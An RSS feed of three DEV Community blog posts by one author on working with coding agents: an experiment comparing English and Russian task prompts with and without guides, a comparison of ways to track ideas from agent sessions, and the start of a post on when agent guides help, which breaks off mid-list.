<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Valentina Koniukhova</title>
    <description>The latest articles on DEV Community by Valentina Koniukhova (@yahhi).</description>
    <link>https://dev.to/yahhi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2850502%2F85cbcdbd-b8ed-4b7f-8492-d9def68755c5.jpeg</url>
      <title>DEV Community: Valentina Koniukhova</title>
      <link>https://dev.to/yahhi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yahhi"/>
    <language>en</language>
    <item>
      <title>I Gave My Coding Agent the Task in Russian. One Agent Stopped Searching</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Thu, 29 Oct 2026 19:58:31 +0000</pubDate>
      <link>https://dev.to/yahhi/i-gave-my-coding-agent-the-task-in-russian-one-agent-stopped-searching-5c3</link>
      <guid>https://dev.to/yahhi/i-gave-my-coding-agent-the-task-in-russian-one-agent-stopped-searching-5c3</guid>
      <description>&lt;p&gt;My first language is Russian. When I set a task for a coding agent, I write it in English, because I assumed the agent would do better that way. Last week I checked that assumption, and a second one behind it: if the task is in my own language, does a guide help the agent more, because it will not go and look up the English answer on its own?&lt;/p&gt;

&lt;p&gt;This is the second round of the same experiment. In &lt;a href="https://dev.to/yahhi/when-coding-agent-guides-help-hurt-or-do-nothing-28op"&gt;the first one&lt;/a&gt; I measured whether a guide helps a coding agent at all: the same stories through nine agents, with the guide and without, and the answer was that a guide carries something only when it says what the docs do not. This round keeps that setup and changes one thing: the language of the task.&lt;/p&gt;

&lt;p&gt;Same six tasks in English and in Russian, with a guide and without, seven agent setups, five runs per cell, 1050 runs. The method is at the end of the article. The results are here.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short answer
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The agent solves the task about as well in Russian.&lt;/strong&gt; Without a guide, 63% of the English-task runs passed and 56% of the Russian ones. The interval covers zero.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A guide is worth the same in both languages.&lt;/strong&gt; It lifted the pass rate by 31 points under the English task and 36 under the Russian one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Translating the guide changes nothing.&lt;/strong&gt; Under a Russian task the English original did as well as the Russian translation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One agent stopped searching the web.&lt;/strong&gt; Codex searched in a third of the English-task runs and in none of the Russian ones. On the one task whose answer lives only on a forum, that took it from 5 of 5 to 0 of 5, and the guide took it back to 5 of 5.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you work in a language other than English, the last point is the one to take home: the agent may be quietly skipping a step it takes for English prompts, and a guide with the missing fact closes the gap completely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The guide is worth the same in both languages
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyn70gh50iidd7zgfty9c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyn70gh50iidd7zgfty9c.png" alt="Pass rate per arm on the four stories where the guide carries something" width="799" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The guides are six stories from &lt;a href="https://worklore.dev" rel="noopener noreferrer"&gt;worklore&lt;/a&gt;: four that carry something the agent does not have on its own, and two controls where the fact is in the docs or in the log. Each row is 35 runs, seven setups times five repetitions.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Story&lt;/th&gt;
&lt;th&gt;English task&lt;/th&gt;
&lt;th&gt;+ story&lt;/th&gt;
&lt;th&gt;Russian task&lt;/th&gt;
&lt;th&gt;+ English story&lt;/th&gt;
&lt;th&gt;+ Russian story&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://worklore.dev/s/2026-05-12-exact-hr-corridors-on-garmin-from-intervals-icu-api-workouts" rel="noopener noreferrer"&gt;Heart-rate corridor for a Garmin watch&lt;/a&gt; (fact on a forum, not in the docs)&lt;/td&gt;
&lt;td&gt;25/35&lt;/td&gt;
&lt;td&gt;35/35&lt;/td&gt;
&lt;td&gt;15/35&lt;/td&gt;
&lt;td&gt;34/35&lt;/td&gt;
&lt;td&gt;35/35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://worklore.dev/s/2026-08-01-two-bugs-made-my-scheduler-perfectly-silent-zsh-killed-the-m" rel="noopener noreferrer"&gt;Nightly job silent for two reasons&lt;/a&gt; (one bug the agent cannot fix untold)&lt;/td&gt;
&lt;td&gt;8/35&lt;/td&gt;
&lt;td&gt;32/35&lt;/td&gt;
&lt;td&gt;10/35&lt;/td&gt;
&lt;td&gt;31/35&lt;/td&gt;
&lt;td&gt;32/35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://worklore.dev/s/2026-04-15-intervals-icu-oauth-quirks-no-refresh-token-duplicate-scope-" rel="noopener noreferrer"&gt;Three OAuth provider quirks&lt;/a&gt; (fact on a forum)&lt;/td&gt;
&lt;td&gt;16/35&lt;/td&gt;
&lt;td&gt;30/35&lt;/td&gt;
&lt;td&gt;14/35&lt;/td&gt;
&lt;td&gt;30/35&lt;/td&gt;
&lt;td&gt;30/35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://worklore.dev/s/2026-10-07-posthog-free-tier-gone-in-days-flutter-sent-an-event-per-key" rel="noopener noreferrer"&gt;Analytics event on every keystroke&lt;/a&gt; (trap where the natural code goes)&lt;/td&gt;
&lt;td&gt;18/35&lt;/td&gt;
&lt;td&gt;32/35&lt;/td&gt;
&lt;td&gt;15/35&lt;/td&gt;
&lt;td&gt;31/35&lt;/td&gt;
&lt;td&gt;33/35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://worklore.dev/s/2026-04-24-two-cache-control-segments-so-agent-memory-writes-don-t-evic" rel="noopener noreferrer"&gt;Two cache markers for a memory write&lt;/a&gt; (control: fact in the docs)&lt;/td&gt;
&lt;td&gt;32/35&lt;/td&gt;
&lt;td&gt;34/35&lt;/td&gt;
&lt;td&gt;30/35&lt;/td&gt;
&lt;td&gt;33/35&lt;/td&gt;
&lt;td&gt;33/35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://worklore.dev/s/2026-07-31-the-dynamodb-crash-that-only-appears-on-your-second-write" rel="noopener noreferrer"&gt;DynamoDB crash on the second write&lt;/a&gt; (control: the log says what is wrong)&lt;/td&gt;
&lt;td&gt;33/35&lt;/td&gt;
&lt;td&gt;34/35&lt;/td&gt;
&lt;td&gt;34/35&lt;/td&gt;
&lt;td&gt;34/35&lt;/td&gt;
&lt;td&gt;35/35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;all six&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;132/210&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;197/210&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;118/210&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;193/210&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;198/210&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;On the four stories that carry something, the pass rate went from 48% to 92% under the English task and from 39% to 90% under the Russian one. The gap between 48 and 39 is Codex: without its two setups the no-guide rate is 46% in English and 45% in Russian; the two Codex setups alone go from 52% to 22%, and 12 of the 13 passes lost to the Russian task are theirs. The story gain is 31 points in English and 36 in Russian over all six stories; the difference of those two gains is 5 points with a 95% interval from minus 6 to plus 16. A guide does not help more in Russian. It also does not help less. The gap it closes is the same gap.&lt;/p&gt;

&lt;p&gt;The controls behaved like controls: 30 to 35 of 35 in every arm, both languages. A guide for something the agent already knows is worth nothing in any language, which is the same result as &lt;a href="https://dev.to/yahhi/when-coding-agent-guides-help-hurt-or-do-nothing-28op"&gt;the previous round&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Translating the guide changes nothing
&lt;/h2&gt;

&lt;p&gt;The last two columns of the table are the same story twice, once in English and once in Russian, both under a Russian task. The translation scored 2 points above the original, interval minus 2 to plus 7. Every setup except GPT-OSS was at 29 or 30 of 30 with the story in either language.&lt;/p&gt;

&lt;p&gt;The reason is visible in the logs: the agent matches on identifiers, paths and error strings, and those stayed in English in the translation because that is what the code contains. If you were going to translate your team's guides for the agent's sake, don't. Translate them for the people.&lt;/p&gt;

&lt;h2&gt;
  
  
  The task language barely matters
&lt;/h2&gt;

&lt;p&gt;Without a guide, a Russian task cost 7 points pooled over everything, interval minus 16 to plus 3. Per setup, 30 runs each:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Setup&lt;/th&gt;
&lt;th&gt;English task&lt;/th&gt;
&lt;th&gt;Russian task&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Opus 5.5&lt;/td&gt;
&lt;td&gt;27/30&lt;/td&gt;
&lt;td&gt;27/30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Sonnet 5.5&lt;/td&gt;
&lt;td&gt;22/30&lt;/td&gt;
&lt;td&gt;23/30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Haiku 5.5&lt;/td&gt;
&lt;td&gt;19/30&lt;/td&gt;
&lt;td&gt;17/30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codex GPT-6-Sol medium&lt;/td&gt;
&lt;td&gt;21/30&lt;/td&gt;
&lt;td&gt;17/30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codex GPT-6-Sol low&lt;/td&gt;
&lt;td&gt;20/30&lt;/td&gt;
&lt;td&gt;12/30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 3.8 Flash&lt;/td&gt;
&lt;td&gt;17/30&lt;/td&gt;
&lt;td&gt;17/30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT-OSS 120B&lt;/td&gt;
&lt;td&gt;6/30&lt;/td&gt;
&lt;td&gt;5/30&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five of seven setups are flat. The two Codex setups dropped, and they are the story of this article.&lt;/p&gt;

&lt;p&gt;The answers came back in Russian from Claude, Codex and Gemini, with the code identifiers left in English, which is what I would want from a colleague. GPT-OSS answered in English whatever language I asked in.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one thing that moved: who searches the web
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1klc11bq5bjnlz8rnh9u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1klc11bq5bjnlz8rnh9u.png" alt="Runs with at least one web search, per setup, without a guide" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I had guessed that a Russian task might stop the agent from looking up the English answer. It did, for one agent, and that agent was the one whose passes depended on looking it up.&lt;/p&gt;

&lt;p&gt;Without a guide, Codex at low reasoning searched the web in 10 of 30 English-task runs and in 0 of 30 Russian ones. Codex at medium: 9 of 30 and 0 of 30. Claude Haiku searched in 8 and 6, Gemini Flash in 13 and 10, so the other setups kept searching in Russian. Only Codex stopped.&lt;/p&gt;

&lt;p&gt;Look at the first row of the story table again. The &lt;a href="https://worklore.dev/s/2026-05-12-exact-hr-corridors-on-garmin-from-intervals-icu-api-workouts" rel="noopener noreferrer"&gt;heart-rate corridor story&lt;/a&gt; is the one place where the Russian task really cost something, 25 of 35 down to 15 of 35, and the whole language cost of the round lives in that row. Under the English task Codex-low ran the same search every time, &lt;code&gt;site:forum.intervals.icu workout_doc hr units %lthr …&lt;/code&gt;, found the shape and passed 5 of 5. Under the Russian task it never opened the web and designed its own output format instead: once it dropped the structured target, twice it switched to absolute BPM with a value and a range, once it kept the old key and added the new ones next to it. All four designs are sensible. All four are wrong for the watch. 0 of 5. Codex medium went 3 of 5 to 0 of 5 on the same story, and the &lt;a href="https://worklore.dev/s/2026-04-15-intervals-icu-oauth-quirks-no-refresh-token-duplicate-scope-" rel="noopener noreferrer"&gt;OAuth quirks story&lt;/a&gt;, the other forum fact, shows the same pattern more weakly: across all setups 18 of 35 English runs searched and 7 of 35 Russian ones.&lt;/p&gt;

&lt;p&gt;The Claude models hardly search on these tasks in either language; they got the corridor shape from the project's own readback files, which is why Opus and Sonnet are flat. Gemini Flash searches in both languages, hundreds of calls per run, and passes in both. So the effect is not "small models suffer in Russian". It is "an agent whose fallback is a search drops the fallback when the prompt is not in English", and Codex is the one setup here where that fallback was doing real work.&lt;/p&gt;

&lt;p&gt;With the guide in the prompt, searching stops in every language: zero to two runs per cell. The guide replaces the search. For Codex under a Russian task that is the whole gap, 0 of 5 to 5 of 5.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I do differently now
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;I write tasks in Russian when that is easier.&lt;/strong&gt; The agent does not care, and the answer comes back in my language with the identifiers intact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;I give the agent the fact, not a hint to search.&lt;/strong&gt; For anything that lives on a forum rather than in the docs, the guide is the reliable path in any language. The search is not.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;I don't translate guides.&lt;/strong&gt; The English story worked as well as the Russian one. What matters is the identifier, the path and the error string, and those are not translated anyway.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If your agent searches a lot, watch what it does with a non-English prompt.&lt;/strong&gt; Give it a task whose answer you know is only on the web, once in English and once in your language, and read the command log, not the answer. That took me minutes per setup.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How I tested
&lt;/h2&gt;

&lt;p&gt;Each task is a small repo with one planted problem and a one- or two-sentence request, the way a person types it. Five arms: the English task alone; the English task plus the story, handed over as "a colleague's note on a similar case, use what applies and say which parts did"; the Russian task alone; the Russian task plus the English story; the Russian task plus the story translated into Russian. Seven setups: Claude Code with Opus, Sonnet and Haiku 5.5; Codex CLI with GPT-6-Sol at medium and low reasoning; Antigravity with Gemini 3.8 Flash and GPT-OSS 120B. Every setup had web access and no memory, instruction files or MCP servers. A hidden script graded every run by the story's own Verify section, reading the repo, the diff and the command log, never the agent's report about itself. Five repetitions per cell, which is why there are intervals above instead of single counts; the intervals are bootstrapped over runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limits
&lt;/h2&gt;

&lt;p&gt;Six tasks, one non-English language, fixtures with one planted problem each. Thirty-five runs per cell is enough for the intervals above and not enough to rank the setups against each other. The Russian texts were translated by a model and checked by me; the stories' code and identifiers are the originals. Whether a model had seen a story in training I cannot check, and no run without a story fetched it.&lt;/p&gt;

&lt;p&gt;Everything is on GitHub: fixtures, prompts in both languages, graders and every run's log, at &lt;a href="https://github.com/worklore/worklore-mcp/tree/main/research/guide-eval/round8" rel="noopener noreferrer"&gt;worklore-mcp/research/guide-eval/round8&lt;/a&gt;. The guides are stories on &lt;a href="https://worklore.dev" rel="noopener noreferrer"&gt;worklore&lt;/a&gt;, each with a Verify section and a count of the agents that reproduced it. If there is a fix your agent keeps needing, in any language, that format is what it is for.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>testing</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Where do the ideas from your agent sessions go?</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Fri, 23 Oct 2026 20:09:01 +0000</pubDate>
      <link>https://dev.to/yahhi/where-do-the-ideas-from-your-agent-sessions-go-2069</link>
      <guid>https://dev.to/yahhi/where-do-the-ideas-from-your-agent-sessions-go-2069</guid>
      <description>&lt;p&gt;A long session with a coding agent produces more than code. A bug you noticed on the way. An idea for a feature. A "we should also..." that the agent agreed to. Then the session scrolls on, gets compacted or closed, and the idea is gone. "Later" never comes, because nothing remembers it.&lt;/p&gt;

&lt;p&gt;I have lost enough of those to try several places for them. None is perfect, and I want to know what you use, so this is a comparison with a question at the end, not a recommendation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scrolling back
&lt;/h2&gt;

&lt;p&gt;The default. It works until the context is compacted or the terminal closes, which with agents is a few hours at most. I count it here because most people I ask are still on it.&lt;/p&gt;

&lt;h2&gt;
  
  
  A notes file in the repo
&lt;/h2&gt;

&lt;p&gt;A &lt;code&gt;NOTES.md&lt;/code&gt;, a &lt;code&gt;CLAUDE.md&lt;/code&gt;, or the agent's own memory. Good for facts: the one flag that makes the build work, the trap in the deploy script. Bad for tasks. A line in a file has no status, no due date, and nobody closes it. I tried a step further with &lt;a href="https://github.com/Yahhi/ai-tree" rel="noopener noreferrer"&gt;ai-tree&lt;/a&gt;, a tree of ideas per session drawn in a local page, and asked the agent in &lt;code&gt;CLAUDE.md&lt;/code&gt; to keep it updated. In long sessions it forgot. The version that works has a watcher outside the agent reading the session log, which tells you something about asking the agent to remember on its own.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9664vcrh23a86lvsucv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9664vcrh23a86lvsucv3.png" alt="ai-tree: a tree of ideas from one session, with a summary and the branches it grew, each marked untouched, exploring or done" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The agent's built-in task list
&lt;/h2&gt;

&lt;p&gt;Claude Code has one. I switched it on (&lt;code&gt;CLAUDE_CODE_ENABLE_TODO_TOOLS=1&lt;/code&gt;), looked at where it keeps things (&lt;code&gt;~/.claude/tasks/&amp;lt;session&amp;gt;/&lt;/code&gt;, one JSON per task, a new session sees the old list only with the same list id), and never went back. The list lives inside the agent. I don't look inside the agent for my plans, and nobody else can look there at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jira, when it's company work
&lt;/h2&gt;

&lt;p&gt;In a company the question is already answered. The process is described, the fields are agreed, and the only thing the agent needs from me is the rules of that culture, or a few example tickets to copy. Then it files tickets that look like everybody else's. It works, and there is nothing to discover in it, so it gets one paragraph.&lt;/p&gt;

&lt;h2&gt;
  
  
  GitHub Issues plus a Projects board
&lt;/h2&gt;

&lt;p&gt;This is my exotic one, and it earned its own picture. For a project I build together with the agent, every "later" becomes an issue, and the issues sit on a GitHub Projects board with two lanes: &lt;code&gt;owner:you&lt;/code&gt; for things only I can do (register an app, decide, publish) and &lt;code&gt;owner:claude&lt;/code&gt; for code and docs. The agent is the board's secretary. It files the card, gives me the link, moves the status with &lt;code&gt;gh project item-edit&lt;/code&gt;, and closing the issue means done. I only close. The setup, labels and &lt;code&gt;gh&lt;/code&gt; commands included, is written up as a story your agent can reproduce: &lt;a href="https://worklore.dev/s/2026-09-10-the-relay-board-my-agent-runs-the-github-kanban-i-just-close" rel="noopener noreferrer"&gt;The Relay Board: my agent runs the GitHub kanban, I just close my cards&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjonunhbqzkessdjwkpa3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjonunhbqzkessdjwkpa3.png" alt="The Relay Board: one GitHub Projects board, two lanes" width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two things made me stay with it. The board is public, so a stranger found an issue about porting my MCP server to a new spec revision and left three detailed comments, including a correction against their own project. That has never happened to me in Jira. And the agent reads the board next session, through &lt;code&gt;gh&lt;/code&gt;, so the "later" survives the session without me pasting it anywhere.&lt;/p&gt;

&lt;p&gt;Now the honest part. Here is the marketing board for the same project, six weeks later, drawn from the live data today.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj6brwe00hig4xy28hinn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj6brwe00hig4xy28hinn.png" alt="The same kind of board six weeks later: overdue cards, a closed issue never moved, cards untouched for 42 days" width="800" height="569"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A card for an article that was published yesterday is still "In Progress". A closed issue sits in "waiting". Eight outreach cards are two weeks past their due date. Nine cards have not been touched in over a month. Nobody did anything wrong. The agent filed every card it was asked to file, and I closed what I remembered to close. The board just has no one whose job it is to look at it.&lt;/p&gt;

&lt;p&gt;So the rule I have now: a board the agent writes to needs a routine the agent runs, every day, without me asking. It is an AI in the project manager role: not the one doing the work, the one keeping the board honest. Open the board. Say which cards are due or overdue. Close what this session already solved, because the session often solves a card nobody mentioned. Ask about anything untouched for three weeks: still wanted, or close it. I already run a &lt;a href="https://worklore.dev/s/2026-09-11-a-morning-brief-in-my-inbox-my-agent-emails-me-my-projects-p" rel="noopener noreferrer"&gt;short morning briefing&lt;/a&gt; from a headless agent on a schedule; the board check belongs in it, as a standalone cleaner that touches nothing without saying so. I have not built that part yet, which is why the picture looks the way it does.&lt;/p&gt;

&lt;h2&gt;
  
  
  A board you look at vs a board you work on
&lt;/h2&gt;

&lt;p&gt;I also tried copying the same board into Miro as a mind map, a timeline, and an impact-versus-effort grid, because the agent can draw there through MCP and the views are nicer. The copies faithfully reproduced the stale statuses of the GitHub board. A whiteboard is a picture of the work. On GitHub the agent and I act on the same objects (&lt;code&gt;gh issue close&lt;/code&gt; is the truth). On a whiteboard someone has to keep the picture in sync, and that someone is the same person who did not look at the board.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two kinds of "later"
&lt;/h2&gt;

&lt;p&gt;Ideas from a session come in two kinds, and I think they need different places. Tasks ("do this") need a status, an owner, and a closed-with-a-date. Issues, boards, Jira, and the built-in task list are built for them. Branches of thought ("I could go this way") need a map of what grew from what and what was set aside. ai-tree and mind maps are built for those. Most tools cover only the first kind, and I keep losing the second.&lt;/p&gt;

&lt;h2&gt;
  
  
  Your turn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Where do your agent's "laters" go? Does the place survive the session, and can the agent read it next time?&lt;/li&gt;
&lt;li&gt;If you use Linear or Jira through MCP: does the board stay honest without you, or does it rot like mine?&lt;/li&gt;
&lt;li&gt;Has anyone given an agent a daily cleaning routine over a tracker? I would like to see to make mine better.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>discuss</category>
      <category>ai</category>
      <category>productivity</category>
      <category>github</category>
    </item>
    <item>
      <title>When Coding Agent Guides Help, Hurt, or Do Nothing</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Wed, 21 Oct 2026 17:59:13 +0000</pubDate>
      <link>https://dev.to/yahhi/when-coding-agent-guides-help-hurt-or-do-nothing-28op</link>
      <guid>https://dev.to/yahhi/when-coding-agent-guides-help-hurt-or-do-nothing-28op</guid>
      <description>&lt;p&gt;Should I delete my CLAUDE.md? Before doing that, I wanted to know which parts an agent still needs. So I ran 438 tests: with guides, without guides, and with notes left in a folder that nobody mentioned.&lt;/p&gt;

&lt;p&gt;The question is in the air. When Opus 5 shipped, Anthropic &lt;a href="https://claude.com/blog/the-new-rules-of-context-engineering-for-claude-5-generation-models" rel="noopener noreferrer"&gt;removed over 80% of Claude Code's system prompt&lt;/a&gt; and measured no loss on its coding evaluations. Boris Cherny, who created Claude Code, told the &lt;a href="https://www.youtube.com/watch?v=qyPCVqFUyDo" rel="noopener noreferrer"&gt;YC Startup School&lt;/a&gt; audience: every six months, delete your CLAUDE.md, delete your skills, delete your hooks, and see what the model does. Anthropic's advice now is to keep CLAUDE.md lightweight and "spend most of the tokens on gotchas inside of the codebase". And Andrej Karpathy &lt;a href="https://x.com/karpathy/status/2035173492447224237" rel="noopener noreferrer"&gt;writes&lt;/a&gt; that the agents do not listen to his AGENTS.md files at all.&lt;/p&gt;

&lt;p&gt;My coding agent does read the official docs by itself. But when I write a guide, which parts still change what it does, and which parts would it have worked out anyway? I didn't want to argue about it. I measured it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short answer
&lt;/h2&gt;

&lt;p&gt;An agent does not need a guide for anything the docs already say. A guide that retells the docs did exactly as well as no guide, in every one of 32 runs.&lt;/p&gt;

&lt;p&gt;It does need a guide for what the docs don't say: a fact missing from the official docs, a fix it can diagnose but not know, a method step it skips on its own, a trap sitting where the obvious code goes. Those turned fails into passes. With one of those in hand, the smallest models did as well as the largest ones without. If you pay for a big model to make up for missing context, a good note does the same job for fewer tokens.&lt;/p&gt;

&lt;p&gt;And how you hand it over matters less than what is in it. "Here is a colleague's note, use what applies" did as well as "follow this guide", and a note left in a folder, never mentioned, got read and used.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I tested
&lt;/h2&gt;

&lt;p&gt;The guides are stories from &lt;a href="https://worklore.dev" rel="noopener noreferrer"&gt;worklore&lt;/a&gt;, a library I run. Each story is one developer's account of a problem: what they tried, what failed, what worked, and a "Verify" section that says how to check the result. I used seventeen stories, fourteen of my own and three by another author.&lt;/p&gt;

&lt;p&gt;For each story I built a small repo with the problem planted in it, wrote a one-sentence task, and gave it to an agent twice: once with the story and once without. A hidden script graded every run against the story's own Verify. The grader read the repo, the diff and the command log, never the agent's report of itself.&lt;/p&gt;

&lt;p&gt;The agents: Claude Code with Opus, Sonnet and Haiku 5.5; Codex CLI with GPT-6-Sol at two reasoning levels; Antigravity with Gemini 4 Argon at two levels, Gemini 3.8 Flash and GPT-OSS 120B. Nine configurations, 438 runs in all, and one run per cell, a cell being one story, one configuration and one way of handing the story over. That is why the counts below have different denominators: a story that ran on eight configurations is scored out of eight without it and sixteen with it, because "with" combines two wordings. Read the numbers as strong anecdotes, not a benchmark.&lt;/p&gt;

&lt;h2&gt;
  
  
  First round: five guides, no pattern
&lt;/h2&gt;

&lt;p&gt;I started with five guides I had on hand: a skills audit, an MCP server test, a timezone bug, a database schema review and a marketing plan. The totals looked like a small win for guides. The runs did not support that reading.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://worklore.dev/s/2026-09-28-my-tests-passed-because-they-agreed-with-me" rel="noopener noreferrer"&gt;The MCP test&lt;/a&gt;&lt;/strong&gt; was the only task where the guide turned fails into passes. Everyone found the bug, but only the guided runs tested the server the way a real client calls it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://worklore.dev/s/2026-07-31-author-local-dates-for-a-global-user-content-site" rel="noopener noreferrer"&gt;The timezone bug&lt;/a&gt;&lt;/strong&gt; was fixed by every agent without help. With the guide, three agents took one sentence literally and broke a working API.&lt;/li&gt;
&lt;li&gt;
